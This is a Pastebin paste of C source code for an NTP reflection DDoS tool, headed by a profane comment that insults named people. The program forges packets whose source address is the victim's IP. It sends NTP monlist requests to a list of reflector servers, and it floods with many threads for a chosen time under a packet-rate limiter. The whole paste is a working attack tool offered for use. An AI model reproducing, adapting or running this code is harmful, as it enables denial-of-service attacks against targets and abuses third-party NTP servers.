Dr-L0v3

ntp.c

Oct 30th, 2016
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 6.28 KB | None | 0 0
  1. /* Y'all some fuckin idiots. Fuck you AppleJack, fuck you Vdos, Fuck you Vypor, Fuck you BigDap, and fuck you Obama.
  2. Oh, and fuck you KMS. All hail CJ the DDoS god. */
  3.  
  4. /* NTP DDOS SCRIPT */
  5.  
  6. #include <time.h>
  7. #include <pthread.h>
  8. #include <unistd.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <sys/socket.h>
  13. #include <netinet/ip.h>
  14. #include <netinet/udp.h>
  15. #include <arpa/inet.h>
  16. #define MAX_PACKET_SIZE 8192
  17. #define PHI 0x9e3779b9
  18. static uint32_t Q[4096], c = 362436;
  19. struct list
  20. {
  21.     struct sockaddr_in data;
  22.     struct list *next;
  23.     struct list *prev;
  24. };
  25. struct list *head;
  26. volatile int tehport;
  27. volatile int limiter;
  28. volatile unsigned int pps;
  29. volatile unsigned int sleeptime = 100;
  30. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  31. void init_rand(uint32_t x)
  32. {
  33.     int i;
  34.     Q[0] = x;
  35.     Q[1] = x + PHI;
  36.     Q[2] = x + PHI + PHI;
  37.     for (i = 3; i < 4096; i++)
  38.     {
  39.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  40.     }
  41. }
  42. uint32_t rand_cmwc(void)
  43. {
  44.     uint64_t t, a = 18782LL;
  45.     static uint32_t i = 4095;
  46.     uint32_t x, r = 0xfffffffe;
  47.     i = (i + 1) & 4095;
  48.     t = a * Q[i] + c;
  49.     c = (t >> 32);
  50.     x = t + c;
  51.     if (x < c) {
  52.     x++;
  53.     c++;
  54.     }
  55.     return (Q[i] = r - x);
  56. }
  57. unsigned short csum (unsigned short *buf, int nwords)
  58. {
  59.     unsigned long sum = 0;
  60.     for (sum = 0; nwords > 0; nwords--)
  61.     sum += *buf++;
  62.     sum = (sum >> 16) + (sum & 0xffff);
  63.     sum += (sum >> 16);
  64.     return (unsigned short)(~sum);
  65. }
  66. void setup_ip_header(struct iphdr *iph)
  67. {
  68.     iph->ihl = 5;
  69.     iph->version = 4;
  70.     iph->tos = 0;
  71.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 8;
  72.     iph->id = htonl(54321);
  73.     iph->frag_off = 0;
  74.     iph->ttl = MAXTTL;
  75.     iph->protocol = IPPROTO_UDP;
  76.     iph->check = 0;
  77.     iph->saddr = inet_addr("192.168.3.100");
  78. }
  79. void setup_udp_header(struct udphdr *udph)
  80. {
  81.     udph->source = htons(5678);
  82.         udph->dest = htons(123);
  83.         udph->check = 0;
  84.         memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x00\x00\x00\x00", 8);
  85.         udph->len=htons(sizeof(struct udphdr) + 8);
  86. }
  87. void *flood(void *par1)
  88. {
  89.     struct thread_data *td = (struct thread_data *)par1;
  90.     char datagram[MAX_PACKET_SIZE];
  91.     struct iphdr *iph = (struct iphdr *)datagram;
  92.     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  93.     struct sockaddr_in sin = td->sin;
  94.     struct  list *list_node = td->list_node;
  95.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  96.     if(s < 0){
  97.     fprintf(stderr, "Could not open raw socket.\n");
  98.     exit(-1);
  99.     }
  100.     init_rand(time(NULL));
  101.     memset(datagram, 0, MAX_PACKET_SIZE);
  102.     setup_ip_header(iph);
  103.     setup_udp_header(udph);
  104.     udph->source = htons(rand() % 65535 - 1026);
  105.     iph->saddr = sin.sin_addr.s_addr;
  106.     iph->daddr = list_node->data.sin_addr.s_addr;
  107.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  108.     int tmp = 1;
  109.     const int *val = &tmp;
  110.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  111.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  112.     exit(-1);
  113.     }
  114.     init_rand(time(NULL));
  115.     register unsigned int i;
  116.     i = 0;
  117.     while(1){
  118.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  119.         list_node = list_node->next;
  120.         iph->daddr = list_node->data.sin_addr.s_addr;
  121.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  122.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  123.         pps++;
  124.         if(i >= limiter)
  125.         {
  126.             i = 0;
  127.             usleep(sleeptime);
  128.         }
  129.         i++;
  130.     }
  131. }
  132. int main(int argc, char *argv[ ])
  133. {
  134.     if(argc < 6){
  135.     fprintf(stderr, "Invalid parameters!\n");
  136.     fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  137.         exit(-1);
  138.     }
  139.     srand(time(NULL));
  140.     int i = 0;
  141.     head = NULL;
  142.     fprintf(stdout, "Setting up sockets...\n");
  143.     int max_len = 128;
  144.     char *buffer = (char *) malloc(max_len);
  145.     buffer = memset(buffer, 0x00, max_len);
  146.     int num_threads = atoi(argv[4]);
  147.     int maxpps = atoi(argv[5]);
  148.     limiter = 0;
  149.     pps = 0;
  150.     int multiplier = 20;
  151.     FILE *list_fd = fopen(argv[3],  "r");
  152.     while (fgets(buffer, max_len, list_fd) != NULL) {
  153.         if ((buffer[strlen(buffer) - 1] == '\n') ||
  154.                 (buffer[strlen(buffer) - 1] == '\r')) {
  155.             buffer[strlen(buffer) - 1] = 0x00;
  156.             if(head == NULL)
  157.             {
  158.                 head = (struct list *)malloc(sizeof(struct list));
  159.                 bzero(&head->data, sizeof(head->data));
  160.                 head->data.sin_addr.s_addr=inet_addr(buffer);
  161.                 head->next = head;
  162.                 head->prev = head;
  163.             } else {
  164.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  165.                 memset(new_node, 0x00, sizeof(struct list));
  166.                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  167.                 new_node->prev = head;
  168.                 new_node->next = head->next;
  169.                 head->next = new_node;
  170.             }
  171.             i++;
  172.         } else {
  173.             continue;
  174.         }
  175.     }
  176.     struct list *current = head->next;
  177.     pthread_t thread[num_threads];
  178.     struct sockaddr_in sin;
  179.     sin.sin_family = AF_INET;
  180.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  181.     struct thread_data td[num_threads];
  182.     for(i = 0;i<num_threads;i++){
  183.         td[i].thread_id = i;
  184.         td[i].sin= sin;
  185.         td[i].list_node = current;
  186.         pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  187.     }
  188.     fprintf(stdout, "Starting flood...\n");
  189.     for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  190.     {
  191.         usleep((1000/multiplier)*1000);
  192.         if((pps*multiplier) > maxpps)
  193.         {
  194.             if(1 > limiter)
  195.             {
  196.                 sleeptime+=100;
  197.             } else {
  198.                 limiter--;
  199.             }
  200.         } else {
  201.             limiter++;
  202.             if(sleeptime > 25)
  203.             {
  204.                 sleeptime-=25;
  205.             } else {
  206.                 sleeptime = 0;
  207.             }
  208.         }
  209.         pps = 0;
  210.     }
  211.     return 0;
  212. }
Advertisement
Add Comment
Please, Sign In to add comment